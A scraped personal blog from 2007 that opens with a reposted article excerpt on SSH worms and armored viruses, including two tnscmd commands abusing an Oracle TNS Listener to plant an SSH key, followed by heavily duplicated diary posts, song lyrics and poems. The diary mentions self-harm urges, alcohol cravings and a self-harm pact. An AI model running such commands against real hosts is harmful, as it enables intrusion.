This works the same when getting a passphrase put on a private key, usually found in ~/.ssh/id_[dsa|rsa].
Another trick has already been used by previous malware: embed a brute force password application. And currently, this is a very common attack against SSH. If you look at your log files you will undoubtedly see:
Feb 9 23:25:14 localhost sshd[14236]: Failed password for root from
80.95.161.86 port 58645 ssh2
Feb 9 23:25:17 localhost sshd[14238]: Failed password for invalid user
admin from 80.95.161.86 port 58806 ssh2
Feb 9 23:25:23 localhost sshd[14313]: Failed password for invalid user
guest from 80.95.161.86 port 59243 ssh2
Feb 9 23:25:26 localhost sshd[14351]: Failed password for invalid user
webmaster from 80.95.161.86 port 59445 ssh2
Feb 9 23:25:29 localhost sshd[14364]: Failed password for invalid user
oracle from 80.95.161.86 port 59445 ssh2
The worm could also use weaknesses in other applications, especially if it succeeds in injecting or overwriting a file on the remote target. If the worm can send its own public key on the target's ~/.ssh/authorized keys, and assuming this kind of authentication is authorized, it just has to connect to the remote host.
Web applications are a good first target for this approach, as many of them allow us to write on the remote target. However, for this example we will look at an old, well known flaw in Oracle, which seems exactly what we need for our worm.
In previous versions of Oracle, there was a component called TNS Listener which accepts direct connections and commands without any authentication. [ref 3] So, the idea is to connect to that listener, change the logfile to ~/.ssh/authorized keys, send a buggy command (such as the worm's key) which will be logged in the new logfile ... and it's game over.
>>tnscmd -h 192.168.0.103 -p 1521 --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=
(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)
(VERSION=1)(VALUE=/home/ora92/.ssh/authorized_keys)))"
>>tnscmd -h 192.168.0.103 -p 1521 --rawcmd "(CONNECT_DATA=
((ssh-dss AAAAB3NzaC1kc3D...Ckuu4=raynal@poisonivy.gotham"
Hence, thanks to cryptography and its double-edged sword, it is quite easy for an attacker to spot targets with great accuracy. Moreover, thanks to users themselves, it is not that difficult to intrude into these targets. And combining this with local flaws, the spreading of an SSH worm is entirely possible. More people need to be aware of this approach so they can defend against it.
The efficiency of such a worm is limited, as there are not really that many SSH servers around, and therefore not so many potential targets. But imagine what it would be if there was a system with similar features and many, many users...
A matter of time: armored viruses
Before concluding part one of this article series, we'll introduce armored viruses and then revisit these concepts again at the beginning of part two.
When one deals with attack and defense, time is a very critical factor. Usually code or data ciphering is used in order to protect intellectual property in software. The code or data are ciphered to prevent anybody from reading it, and a key is given before execution to get the clear text. Several layers of encryption can be stacked, and the code or data can be partially deciphered at a given time in memory. These techniques are used either to fingerprint the software or for license protection.
Unfortunately, similar techniques are also used in malware, and for almost the same purposes. Let us summarize the life of malware when it spreads.
One day when the malware is detected, it is regarded as new code to be analyzed. When the analysis is completed, signatures and heuristics are created to enable anti-virus software to block this malware. Then, the signatures and heuristics are provided to end-users through auto-updates of the software. New copies of the malware are immediately detected and cleaned when they reach a target. So, the conclusion is therefore when malware spreads, it dies..
In order to avoid this "problem," a malware writer must delay, or even forbid, the analysis of his malignant creature. A virus employing techniques to avoid or delay the analysis becomes what is called an armored virus.
The first public armored virus fulfilling this goal was called Whale and first spread sometime in September 1990. It combined several techniques:
Polymorphism: both the binary and the process were ciphered (there were 30 hardcoded versions).
Stealth: several interruptions, including debugging ones, are hooked by Whale, and it also hides in high memory before decreasing the max limit of memory known by DOS, which was prominent at the time.
Armoring: the code changes depended on the architecture (8088 or 8086), had intense use of obfuscation (useless code, identical conditions, redundant code, and so on) and had what is known as anti-debug (if a debugger is detected, the keyboard is blocked and Whale kills itself).
If these techniques are common nowadays, almost sixteen years later, one can imagine what happens then when such a piece of code reaches the labs of the anti-virus companies.
Next time, in part two, we'll dive deeper into armored viruses by looking at shape shifting, or polymorphism and metamorphism. Then we'll go further and discuss a Bradley virus, a type of virus that cannot be analyzed. And additionally we'll look at the popular Skype application and how attackers are already trying to use its closed protocol, built-in crypto as a vector for stealthy virus attacks.
Concluding part one
In this article, the concepts behind cryptovirology were defined as we try to understand the methods uses by crytovirus authors. Two examples were discussed, weaknesses in the the SuckIt rookit and the potential for a future SSH worm.
Next time in part two we will look at some of the latest virus attempts to be stealthy and avoid detection and analysis. A continued discussion of armored viruses will be followed by the concept of a Bradley worm, an un-analyzable virus that uses cryptography. Skype will be used as an example of application with embedded cryptography and a closed protocol that can be manipulated by an attacker. Until then.
thanks to securityfocus
and something interesting from phrack.org
I WENT TO A PARTY, MOM, I REMEMBERED WHAT YOU SAID.
YOU TOLD ME NOT TO DRINK, MOM, SO I DRANK SODA INSTEAD.
I REALLY FELT PROUD INSIDE, MOM, THE WAY YOU SAID I WOULD.
I DIDN'T DRINK AND DRIVE, MOM, THOUGH THE OTHERS SAID I SHOULD.
I KNOW I DID THE RIGHT THING, MOM, I KNOW YOUR ALWAYS RIGHT.
NOW THE PARTY IS ENDING, MOM, AS EVERONE IS DRIVING OUT OF SIGHT.
AS I GOT INTO MY CAR, MOM, I KNEW I'D GET HOME IN ONE PIECE.
BECAUSE OF THE WAY YOU RAISED ME, SO RESPONSIBLE AND SWEET.
I STARTED DRIVING AWAY, MOM, BUT AS I PULLED INTO THE ROAD,
THE OTHER CAR DIDN'T SEE ME, MOM, AND HIT ME LIKE A LOAD.
AS I LAY HERE ON THE PAVEMENT, MOM, I HEAR THE POLICE MAN SAY,
THE OTHER GUY IS DRUNK, MOM, AND NOW I'M THE ONE WHO WILL PAY.
I'M LYING HERE DYING. MOM, I WISH YOU'D GET HERE SOON.
HOW COULD THIS HAPPEN TO ME, MOM? MY LIFE JUST BURST LIKE A BALLOON.
THERE IS BLOOD ALL AROUND ME, MOM, AND MOST OF IT IS MINE.
I HEAR THE MEDIC SAY, MOM, I'LL DIE IN A SHORT TIME.
I JUST WANTED TO TELL YOU, MOM, I SWEAR I DIDN'T DRINK.
IT WAS THE OTHERS, MOM. THE OTHERS DID NOT THINK.
HE WAS PROBIBLY AT THE SAME PARTY AS I.
THE ONLY DIFFERENCE IS, HE DRANK AND I WILL DIE.
WHY DO PEOPLE DRINK, MOM? IT CAN RUIN YOUR HOLE LIFE.
I'M FEELING SHARP PAINS NOW. PAINS JUST LIKE A KNIFE.
THE GUY WHO HIT ME IS WALKING, MOM, AND I DON'T THINK IT'S FAIR.
I'M LYING HERE DYING AND ALL HE CAN DO IS STARE.
TELL MY BROTHER NOT TO CRY MOM, TELL DADDY TO BE BRAVE.
AND WHEN I GO TO HEAVEN, MOM, PUT DADDY'S GIRL ON MY GRAVE.
SOMEONE SHOUYLD HAVE TOLD HIM, MOM, NOT TO DRINK AND DRIVE.
IF ONLY THEY HAD TOLD HIM, MOM, I WOULD STILL BE ALIVE.
MY BREATH IS GETTING SHORTER, MOM. I'M BECOMING VERY SCARED.
PLEASE DON'T CRY FOR ME, MOM, WHEN I NEEDED YOU, YOU WERE ALWAYS THERE.
I HAVE ONE LAST QUESTION, MOM, BEFORE I SAY GOODBYE.
I DIDN'T DRINK AND DRIVE, MOM, SO WHY AM I THE ONE TO DIE?
dont ask..
anguish unsaid, unheard and unknown to all.
the pain is left inside of me
loneliness is all i have left
i see you standing there.
so obivilous to me.
as i stared
i wondered hoped and wished for....
will it come true?
Tuesday, February 13, 2007
was walking back after an outing with sam the man. haha. sam tan. yea.
was thinking about stuffs. well. sortof. and i think.. im kinda acting childish? i guess the way i handle certain stuffs, they're still the childish kinda acting? i mean. yar. like. damn immature. and crap. im supposed to be mature. haha. i think yes. i can be both mature and immature, but usually, coming fm a typical boys school, i kinda act that way. its just who i am. not that i cannot be serious and all. i just prefer to be slightly childish, cos its much easier to relax and have fun, rather then have the "oh so blardy important discussion that we could definately have, that we will have to concur with some kind of.. well. concurrence. haha." thats damn stupid. but yar.
but i dont know? i guess i should act more mature? okay. not act. show my mature side more bah. ayee. haha.
i guess im gonna be enjoying myself in an entirely different way. haha. im an adroit conversation-er (haha. may i put it as such? lol. sounds wrong). haha. this is damn shitty. lol
okay. this calls for drastic measures.
i think i shall vanquish the part of me that does the typical boy school guy. so there. =)
intelligent community, here i come..
this is gonna be damn hard. haha. oh wells. i guess its time for me to "grow up" too. =|
Justin Timberlake ft T.I - my love
If I wrote you a symphony
Just to say how much you mean to me
what would you do
If I told you you were beautiful
Would you page me on the regular
tell me would you
Well baby I've been around the world
But I aint seen myself another girl
like you
This ring here represents my heart
But there is just one thing I need from you
saying I do
Because, I can see us holding hands
walking on the beach our toes in the sand
I can see us in the country side
sitting in the grass laying side by side
You can be my baby
Gonna make you my lady
Girl you amaze me
Ain't gotta do nothin crazy
See all I want you to do is be my love
My love
My love
And I know no woman that could take your spot
My love
My love
My love
And I know no woman that could take your spot
My love
My loooooooove
Looooooove
My loooove
My loooove
Now If I wrote you a love note
And make you smile with every word I wrote
what would you do
Would that make you wanna change your scene
And wanna be the one in my scene
tell me would you
See what's the point in waiting anymore
Cause girl I've never been more sure
that baby it's you
This ring here represents my heart
And everything that you been waiting for
Just saying I do
Because, I can see us holding hands
Walking on the beach our toes in the sand
I can see us in the country side
Sitting in the grass laying side by side
You can be my baby
Gonna make you my lady
Girl you amaze me
Aint gotta do nothin crazy
See all I want you to do is be my love
My love
My love
And I know no woman that could take your spot my
My love
My love
My love
And I know no woman that could take your spot my
My love
My looooooove
Loooooove
My looooove
My loooooove
[T.I. Raps]
Shorty, cool as a fan
On the new once again
but Still has fans from Peru to Japan
Listen baby, I don't wanna ruin your plan
But if you got a man, try to lose him if you can
Cause your girls real wild throw your hands up high
Wanna come kick it wit a stand up guy
You don't really wanna let the chance go by
Because you ain't been seen wit a man so fly
Friend so fly I can go fly
Private, cause I handle mine
t.i. - Call me candle guy, simply because I am on fire
I hate to have to cancel my vacation so you can't deny
I'm patient, but I ain't gonna try
You don't come, I ain't gonna die
Hold up, what you mean, you can't go why
Me and you boyfriend we ain't no tie
You say you wanna kick it with an ace so high
Baby, you decide that I ain't your guy
Ain't gon lie ,Me in your space
But forget your face, I swear I will
Same mark, same bullet anywhere I chill
Just bring wit me a pair, I will
I can see us holding hands
Walking on the beach our toes in the sand
I can see us in the country side
Sitting in the grass laying side by side
You can be my baby
Gonna make you my lady
Girl you amaze me
Aint gotta do nothin crazy
See all I want you to do is be my love
Love
My love
Love
My love
Love
And I know no woman that could take your spot
My love
Love
My love
Love
My love
Love
And I know no woman that could take your spot
My looooooove
Loooooove
My looooooove
My Looooove
goodness, this song is damn long. haha. and well. everyone's crazy over justin. okay. ALL THE GIRLS. okoaky. MOST GIRLS. haha. theres this forum i frequent, and the topic was something like, "girls go for wad kinda guy" and the girls were like. cute guys, like justin timberlake. and its like.only justin timberlake in there. haha. no one else. =X oh wells.
haha. im cute too right? =D
fugly but freaking adorable. =D
nights all..
goodnight to you specially too. =D
but you dont know its you.
was thinking about stuffs. well. sortof. and i think.. im kinda acting childish? i guess the way i handle certain stuffs, they're still the childish kinda acting? i mean. yar. like. damn immature. and crap. im supposed to be mature. haha. i think yes. i can be both mature and immature, but usually, coming fm a typical boys school, i kinda act that way. its just who i am. not that i cannot be serious and all. i just prefer to be slightly childish, cos its much easier to relax and have fun, rather then have the "oh so blardy important discussion that we could definately have, that we will have to concur with some kind of.. well. concurrence. haha." thats damn stupid. but yar.
but i dont know? i guess i should act more mature? okay. not act. show my mature side more bah. ayee. haha.
i guess im gonna be enjoying myself in an entirely different way. haha. im an adroit conversation-er (haha. may i put it as such? lol. sounds wrong). haha. this is damn shitty. lol
okay. this calls for drastic measures.
i think i shall vanquish the part of me that does the typical boy school guy. so there. =)
intelligent community, here i come..
this is gonna be damn hard. haha. oh wells. i guess its time for me to "grow up" too. =|
Justin Timberlake ft T.I - my love
If I wrote you a symphony
Just to say how much you mean to me
what would you do
If I told you you were beautiful
Would you page me on the regular
tell me would you
Well baby I've been around the world
But I aint seen myself another girl
like you
This ring here represents my heart
But there is just one thing I need from you
saying I do
Because, I can see us holding hands
walking on the beach our toes in the sand
I can see us in the country side
sitting in the grass laying side by side
You can be my baby
Gonna make you my lady
Girl you amaze me
Ain't gotta do nothin crazy
See all I want you to do is be my love
My love
My love
And I know no woman that could take your spot
My love
My love
My love
And I know no woman that could take your spot
My love
My loooooooove
Looooooove
My loooove
My loooove
Now If I wrote you a love note
And make you smile with every word I wrote
what would you do
Would that make you wanna change your scene
And wanna be the one in my scene
tell me would you
See what's the point in waiting anymore
Cause girl I've never been more sure
that baby it's you
This ring here represents my heart
And everything that you been waiting for
Just saying I do
Because, I can see us holding hands
Walking on the beach our toes in the sand
I can see us in the country side
Sitting in the grass laying side by side
You can be my baby
Gonna make you my lady
Girl you amaze me
Aint gotta do nothin crazy
See all I want you to do is be my love
My love
My love
And I know no woman that could take your spot my
My love
My love
My love
And I know no woman that could take your spot my
My love
My looooooove
Loooooove
My looooove
My loooooove
[T.I. Raps]
Shorty, cool as a fan
On the new once again
but Still has fans from Peru to Japan
Listen baby, I don't wanna ruin your plan
But if you got a man, try to lose him if you can
Cause your girls real wild throw your hands up high
Wanna come kick it wit a stand up guy
You don't really wanna let the chance go by
Because you ain't been seen wit a man so fly
Friend so fly I can go fly
Private, cause I handle mine
t.i. - Call me candle guy, simply because I am on fire
I hate to have to cancel my vacation so you can't deny
I'm patient, but I ain't gonna try
You don't come, I ain't gonna die
Hold up, what you mean, you can't go why
Me and you boyfriend we ain't no tie
You say you wanna kick it with an ace so high
Baby, you decide that I ain't your guy
Ain't gon lie ,Me in your space
But forget your face, I swear I will
Same mark, same bullet anywhere I chill
Just bring wit me a pair, I will
I can see us holding hands
Walking on the beach our toes in the sand
I can see us in the country side
Sitting in the grass laying side by side
You can be my baby
Gonna make you my lady
Girl you amaze me
Aint gotta do nothin crazy
See all I want you to do is be my love
Love
My love
Love
My love
Love
And I know no woman that could take your spot
My love
Love
My love
Love
My love
Love
And I know no woman that could take your spot
My looooooove
Loooooove
My looooooove
My Looooove
goodness, this song is damn long. haha. and well. everyone's crazy over justin. okay. ALL THE GIRLS. okoaky. MOST GIRLS. haha. theres this forum i frequent, and the topic was something like, "girls go for wad kinda guy" and the girls were like. cute guys, like justin timberlake. and its like.only justin timberlake in there. haha. no one else. =X oh wells.
haha. im cute too right? =D
fugly but freaking adorable. =D
nights all..
goodnight to you specially too. =D
but you dont know its you.
Sunday, February 11, 2007
i shall just like. keep myself occupied.
im just gonna try to rot this week and probably the following week, and try to find a job by the start of march.
and im intending to work till, may. and then go NS.
and im just gonna focus on working and enjoying myself, splurging my cash on like, clothes, a DSLR (think im getting the cannon leh) and see how la. wadeva money i have left, shall just. let it rot in my bank. haha.
aiyah. dont know la.
suddenly. i got no mood to club. i mean. yar. no mood, wanted to go today, but im like. just. fricking bored. i dont know why man. i just. feel that i shdn't. or smthg. haha. dont know la. aiyah. dont know la.
anyway.
im super duper lost la.
its a crossroads that im currently at.
should i cont to go str? or turn left or turn right?
fuck. i dont know how to eg leh.....
A long day alone
Emptiness is so real
Never having peace of mind
Running from what I can't sing
And there is nowhere left to hide
Turn and face these empty lies
All alone, heart unturned
Trying to find
Break me down replace this fear inside
Take this nothingness from me
I want to fight
I want to shine
I want to rise
Break me down
I try to find myself
I find the stranger trapped inside
And I'll take one more step away
From the face I used to recognize
Familiar shadows closing in
Suffocating fear descends
You killed a life, uncovered eyes
I'm trying to find
Break me down replace this fear inside
Take this nothingness from me
I want to fight
I want to shine
I want to rise
Break me down
Replace this fear inside
Take this nothingness from me
I want to fight
I want to shine
I want to rise
Break me down
Break me down
I want to fight
I want to shine
I want to rise
Break me down [repeat]
Break me!
know something? im soooo.. tempted to just. hurt myself. but NO. i shan't. instd. i'll drown myself in. beer.. root beer. haha. no gin. i HATE gin, and i got no money to buy vodka, so .. beer, root beer. haha. im gonna fucking grow fat! all the fat i lost will come back to me. like.. man.. haha. okay. aiyah. im really damn FAN now la. im like. confused. and lost and messed up and all.. aiyah. this sucks. so i think i'll just go run. yes. right now. i do stupid things. i'll just run for hours and hours. i think i'll run till daylight.
fine. i htnk i'll just come back after 30 mins. haha. okay. mabbie i shouldn't run. the last time i did. i set a personal best for 4.8 km. haha. =) nono. i shouldn't. too blardy scary. haha
aiyah. im just crapping. i really should do smthg. i mean, really do something.
ohoh. i've just thought of something.
its like im addicted. so how to cure addiciotn? its called. COLD TURKEY! yes. i shoudl cold turkey myself. cos no one's gonna get hurt well. expt me if i cont on. so. i shd just cold turkey myself and well. see me get over this thing la.
haiz. but do i really wanna do this?
shit. i kinda miss her right now.
but does she miss me? i doubt so.
but she's probably slping now. slping like an angel..
yes yes. i know. this is getting adsurb and all for me.
but aiyah.
fuck. i dont know.
im like. damn jealous la. yes i know. its a possesive thing that i've yet vanquished from my hearthren days. haha. like. FUCKING SHIT! and we're not even together. no no. FUCKING SHIT. she doesn't even like me.and im feeling this way. like. WTH!. haiz.
cold turkey??
dont know if i should.
doubt if i will
fucking shit.
i shan't cont liao..
BYE! NIGHTS!
to my friend. :
hey. im not naming you here, cos well. everyone else will kill me and you. so im not disclosing ur name. and i was talking to HIM abt u guys.. but i didn't tell him anything. but. i think he has a right to know. and girl. dont do it anymore okay? it kinda hurts me as much as it hurts you. (yes people. im such an emo person. wow. betcha didn't know that right? well. you guys dont know nuts abt me. this is just one layer. got millions more.) stop la. its stupid to do it. you know it. yet you still do it. im sure your reading this. so dont okay? =) chill f-ingstupidbitch. haha. i loveeeee calling you that. =)
to you :
if your reading this, i hope you know that i really like you. yea. i really enjoy hanging out with ya and all. i kinda wish time would just stop.
but honestly. i dont think that you like me. and i dont think that you'll probably ever. so yea. i guess im just chasing something that wont be mine. but still. i'll chase, cos hopefully, i might just win ur heart. =) hopefully. fingers crossed.
but i also hope, that you'll do find your mr right. im sure he's well.. righter for you. =)
to me. love means something. and i rmb wad pastor said about love. loving someone means, doing the right thing even though its gonna hurt. and i hope i can do the right thing. im not sure if this is the RIGHT right thing right now. but. if it is. i will. even though it hurts. =)
love ya. even if you dont
im just gonna try to rot this week and probably the following week, and try to find a job by the start of march.
and im intending to work till, may. and then go NS.
and im just gonna focus on working and enjoying myself, splurging my cash on like, clothes, a DSLR (think im getting the cannon leh) and see how la. wadeva money i have left, shall just. let it rot in my bank. haha.
aiyah. dont know la.
suddenly. i got no mood to club. i mean. yar. no mood, wanted to go today, but im like. just. fricking bored. i dont know why man. i just. feel that i shdn't. or smthg. haha. dont know la. aiyah. dont know la.
anyway.
im super duper lost la.
its a crossroads that im currently at.
should i cont to go str? or turn left or turn right?
fuck. i dont know how to eg leh.....
A long day alone
Emptiness is so real
Never having peace of mind
Running from what I can't sing
And there is nowhere left to hide
Turn and face these empty lies
All alone, heart unturned
Trying to find
Break me down replace this fear inside
Take this nothingness from me
I want to fight
I want to shine
I want to rise
Break me down
I try to find myself
I find the stranger trapped inside
And I'll take one more step away
From the face I used to recognize
Familiar shadows closing in
Suffocating fear descends
You killed a life, uncovered eyes
I'm trying to find
Break me down replace this fear inside
Take this nothingness from me
I want to fight
I want to shine
I want to rise
Break me down
Replace this fear inside
Take this nothingness from me
I want to fight
I want to shine
I want to rise
Break me down
Break me down
I want to fight
I want to shine
I want to rise
Break me down [repeat]
Break me!
know something? im soooo.. tempted to just. hurt myself. but NO. i shan't. instd. i'll drown myself in. beer.. root beer. haha. no gin. i HATE gin, and i got no money to buy vodka, so .. beer, root beer. haha. im gonna fucking grow fat! all the fat i lost will come back to me. like.. man.. haha. okay. aiyah. im really damn FAN now la. im like. confused. and lost and messed up and all.. aiyah. this sucks. so i think i'll just go run. yes. right now. i do stupid things. i'll just run for hours and hours. i think i'll run till daylight.
fine. i htnk i'll just come back after 30 mins. haha. okay. mabbie i shouldn't run. the last time i did. i set a personal best for 4.8 km. haha. =) nono. i shouldn't. too blardy scary. haha
aiyah. im just crapping. i really should do smthg. i mean, really do something.
ohoh. i've just thought of something.
its like im addicted. so how to cure addiciotn? its called. COLD TURKEY! yes. i shoudl cold turkey myself. cos no one's gonna get hurt well. expt me if i cont on. so. i shd just cold turkey myself and well. see me get over this thing la.
haiz. but do i really wanna do this?
shit. i kinda miss her right now.
but does she miss me? i doubt so.
but she's probably slping now. slping like an angel..
yes yes. i know. this is getting adsurb and all for me.
but aiyah.
fuck. i dont know.
im like. damn jealous la. yes i know. its a possesive thing that i've yet vanquished from my hearthren days. haha. like. FUCKING SHIT! and we're not even together. no no. FUCKING SHIT. she doesn't even like me.and im feeling this way. like. WTH!. haiz.
cold turkey??
dont know if i should.
doubt if i will
fucking shit.
i shan't cont liao..
BYE! NIGHTS!
to my friend. :
hey. im not naming you here, cos well. everyone else will kill me and you. so im not disclosing ur name. and i was talking to HIM abt u guys.. but i didn't tell him anything. but. i think he has a right to know. and girl. dont do it anymore okay? it kinda hurts me as much as it hurts you. (yes people. im such an emo person. wow. betcha didn't know that right? well. you guys dont know nuts abt me. this is just one layer. got millions more.) stop la. its stupid to do it. you know it. yet you still do it. im sure your reading this. so dont okay? =) chill f-ingstupidbitch. haha. i loveeeee calling you that. =)
to you :
if your reading this, i hope you know that i really like you. yea. i really enjoy hanging out with ya and all. i kinda wish time would just stop.
but honestly. i dont think that you like me. and i dont think that you'll probably ever. so yea. i guess im just chasing something that wont be mine. but still. i'll chase, cos hopefully, i might just win ur heart. =) hopefully. fingers crossed.
but i also hope, that you'll do find your mr right. im sure he's well.. righter for you. =)
to me. love means something. and i rmb wad pastor said about love. loving someone means, doing the right thing even though its gonna hurt. and i hope i can do the right thing. im not sure if this is the RIGHT right thing right now. but. if it is. i will. even though it hurts. =)
love ya. even if you dont
this is gonna be a really.. controversial topic. so. its not for the faint hearted.
this post is to a close friend of mine.
hey.. remembered that pact we made like. aeons ago? im sure you do. i dont have to say much. but. well. its a simple thing. you do it. i do it. rmb?
and well, thru the 3 odd years. i didn't and appr. you weren't supposed to also. and. when i saw you last friday, i couldn't believe you did it. i just.. well. COUldn't. why? cos of him? comeon. its a pact. and we were supposed to keep that pact. and not break it no matter what.
so unfortuantly for me. im a guy who keeps his promises. esp on these kinda stuffs. so. the conditions of the pact was that the other party has to publish his/her well. picture if he did and after it partially healed. so here's mine..
to everyone else whom i'ev made this promise too. well. i made to loads and its like. i can't keep track. haha. i know a few of them are actively reading my blog. so. hey. i promised someone. you dont do it. okay? cos if you do.. well. i have to do it too. and its gonna be a vicious cycle all over... so. hey. dont okay? wo shi bi bu de yi de.
peace.
this post is to a close friend of mine.
hey.. remembered that pact we made like. aeons ago? im sure you do. i dont have to say much. but. well. its a simple thing. you do it. i do it. rmb?
and well, thru the 3 odd years. i didn't and appr. you weren't supposed to also. and. when i saw you last friday, i couldn't believe you did it. i just.. well. COUldn't. why? cos of him? comeon. its a pact. and we were supposed to keep that pact. and not break it no matter what.
so unfortuantly for me. im a guy who keeps his promises. esp on these kinda stuffs. so. the conditions of the pact was that the other party has to publish his/her well. picture if he did and after it partially healed. so here's mine..
to everyone else whom i'ev made this promise too. well. i made to loads and its like. i can't keep track. haha. i know a few of them are actively reading my blog. so. hey. i promised someone. you dont do it. okay? cos if you do.. well. i have to do it too. and its gonna be a vicious cycle all over... so. hey. dont okay? wo shi bi bu de yi de.
peace.
OMG!
IM LIKE! so awake? like. WTH! ahha. i was up at like.. 7.30? and thats damn early. considering i slpt at... 3 odd in the MORNING! haha.
oh wells.
im bored! okay. expt that im chatting online with some friends. and all. but im still bored. im like. SO sien of playing WoW suddenly.RAH!
oh wells. shall prep for church liao..
and i think i'll go find a job or smthg. yea man!
must earn money so can.. spend MONEY!
=)
currently listening too : pit to the palace, Jahrock'n
IM LIKE! so awake? like. WTH! ahha. i was up at like.. 7.30? and thats damn early. considering i slpt at... 3 odd in the MORNING! haha.
oh wells.
im bored! okay. expt that im chatting online with some friends. and all. but im still bored. im like. SO sien of playing WoW suddenly.RAH!
oh wells. shall prep for church liao..
and i think i'll go find a job or smthg. yea man!
must earn money so can.. spend MONEY!
=)
currently listening too : pit to the palace, Jahrock'n
Friday, February 09, 2007
"If I sold my house and my car, had a big garage sale, and gave all my money to the church, would that get me into heaven?" I asked the children in my Sunday school class.
"NO!" the children all answered.
"If I cleaned the church every day, mowed the yard, and kept everything neat and tidy, would that get me into heaven?"
Again the answer was, "NO!""Well, then, if I was kind to animals and gave candy to all the children and loved my wife, would that get me into heaven?" I asked them again.
Once more they all answered, "NO!"
"Well," I continued, thinking they were a good bit more theologically sophisticated than I had given them credit for, "then how can I get into heaven?"
A five-year-old boy shouted out, "You gotta be dead!"
STUPID SAMUEL TAN. make me walk all the fucking way from IKEA tamPINES ALL THE FRIGGING WAY HOME! haha
think its about. 6-8 km bah. cos we sorta. marched back..
anyway
I waited for you today
But you didn't show
No no
I needed you today
But where did you go
You told me to call
Said you'd be there
And though I haven't seen you
Are you still there?
(Chorus:)
I cried out with no reply
And I can't feel you by my side
So I'll hold tight to what I know
You're here and I'm never alone
And though I cannot see you
And I can't explain why
Such a deep reassurance
You've placed in my life
We cannot separate
Cause you're part of me
And though you're invisible
I'll trust the unseen
been thinking about this situation im in. i do not know how to say it. precarious? no no. i think its, something like. undecided. or. i guess, im just equivocal about making a decision so fast. BUT. oh wells. i guess i'll just see how it goes. i mean, i started with nothing, so i dont have much to lose dont i?
well.. actually. i think i LOSE BIG! real big, AIYAH. dont know la. i shall let God decide. =)
lets see. my exams are finally over, but strangly. im not. as estatic as i'd thot i'd be. cos, well. i dont know. im just. so lost. the nostalgia of leaving school, my classmates, and the unpredicatbilty of the future. it apprehends me. but i know that God is keeping me. so even though im kinda excitedly worried and nervous, i know i can face them on. =) anyway. lets see. one mth this year has pasted, and well.ive been blogging quite a bit, okay. i realised that i really needed an outlet out and all. i just need to post my mind-wrenched thoughts online, but i think its not really coming out? oh wells.
but seriously, this one month was kinda sucky.? generally bah. there were few days i kinda really enjoyed myself like during the spinnovex.. and a few other days when i'd just hang out with my friends, walking around aimlessly or doing something. yea. but seriously. it was a sucky month. it was a month where'd i have to freaking mug like crazy, spent money like crazy cos i went clubbing, (like JUST BEFORE MY EXAMS SOMEMORE!) and erm. spent more money. haha. okay la. i think it was money worth spending, okay expt that time when i went st james, but yea. the rest was wicked. i really enjoyed myself. but yea. that time at st james, needed the alcohol badly. i dont know.i just seem to be addicted to alcohol suddenly, and thats bad. im especially craving for one right now (partly cos andy is tempting me with vodka, my favvv spirit) and well. the desire to use the "High" i get from shots after shots to replace my well. inequity to deal with my current vexed up mind state. so. yes. IM CRAVING FOR ONE SHOT! JUST ONE SHOT RIGHT NOW!. I DONT CARE HOW! GIN GOES TOO!. rah! i feel so shittified. i guess i'll just go slp instd. cos there's no gin anymore. i kinda like, finished it, and i have to quickly replace that bottle cos its gonna be in use during CNY, so. BO BIAN LIAO! gonna spend like. 60 bucks. RAH!
secondly. i guess, i've been in a certain position whereby i cannot reveal much details, which might interest you, the readers right now. Well, all i can say is, im really undecided about this. and for the smarter ones, yes. its concerning well. a girl. yes a girl my dearest readers. It absolutly cannot be a guy, as im perfectly normal. and i DO NOT have any interest in guys at all. SAM can VOUCH for me. well. so CAN jeremy guys. ASK THEM! =) but yes, regarding this girl. well. she's a girl and thats that. =)
so i guess, febuary. ANG BAO collecting month. haha .but. also. LOVE month. and i kinda like. am staying home this time around? omg. everyone's gonna suan me this time. haha. retri? well. kinda. but i dont really believe in retribution kinda thing. just. JUDGEMENT BY GOD when we stand before Him. well. i kinda wonder what kinda qn He'll ask. hmmmmmm..
well. i cont tml or something like that. =) im kinda tired. and im erally bogged down by my thoughts.
to *you. if your reading this. well. i miss you right now. i kinda miss your smile and your eyes and just. walking around and talking to you. but i guess you're not missing me at all. its alright. i'll do my best to win your heart.
liek i've alr said. you dont know who you are. and im not saying.
i feel like some lovesick idiotic pervertic bastard. haha. oh wells.
maybe i should stay away from this topic for like. some time. and do something, like. go jam with my band or something. oh yar. one thing of interest. im learning how to DJ. haha. my friend's teaching me! but there's one condition. i need to get a set for myself. andd.... IM BROKE! haha. oh wells. that we'll definately see how. im really interested in that. =)
love ya peeps!
"NO!" the children all answered.
"If I cleaned the church every day, mowed the yard, and kept everything neat and tidy, would that get me into heaven?"
Again the answer was, "NO!""Well, then, if I was kind to animals and gave candy to all the children and loved my wife, would that get me into heaven?" I asked them again.
Once more they all answered, "NO!"
"Well," I continued, thinking they were a good bit more theologically sophisticated than I had given them credit for, "then how can I get into heaven?"
A five-year-old boy shouted out, "You gotta be dead!"
STUPID SAMUEL TAN. make me walk all the fucking way from IKEA tamPINES ALL THE FRIGGING WAY HOME! haha
think its about. 6-8 km bah. cos we sorta. marched back..
anyway
I waited for you today
But you didn't show
No no
I needed you today
But where did you go
You told me to call
Said you'd be there
And though I haven't seen you
Are you still there?
(Chorus:)
I cried out with no reply
And I can't feel you by my side
So I'll hold tight to what I know
You're here and I'm never alone
And though I cannot see you
And I can't explain why
Such a deep reassurance
You've placed in my life
We cannot separate
Cause you're part of me
And though you're invisible
I'll trust the unseen
been thinking about this situation im in. i do not know how to say it. precarious? no no. i think its, something like. undecided. or. i guess, im just equivocal about making a decision so fast. BUT. oh wells. i guess i'll just see how it goes. i mean, i started with nothing, so i dont have much to lose dont i?
well.. actually. i think i LOSE BIG! real big, AIYAH. dont know la. i shall let God decide. =)
lets see. my exams are finally over, but strangly. im not. as estatic as i'd thot i'd be. cos, well. i dont know. im just. so lost. the nostalgia of leaving school, my classmates, and the unpredicatbilty of the future. it apprehends me. but i know that God is keeping me. so even though im kinda excitedly worried and nervous, i know i can face them on. =) anyway. lets see. one mth this year has pasted, and well.ive been blogging quite a bit, okay. i realised that i really needed an outlet out and all. i just need to post my mind-wrenched thoughts online, but i think its not really coming out? oh wells.
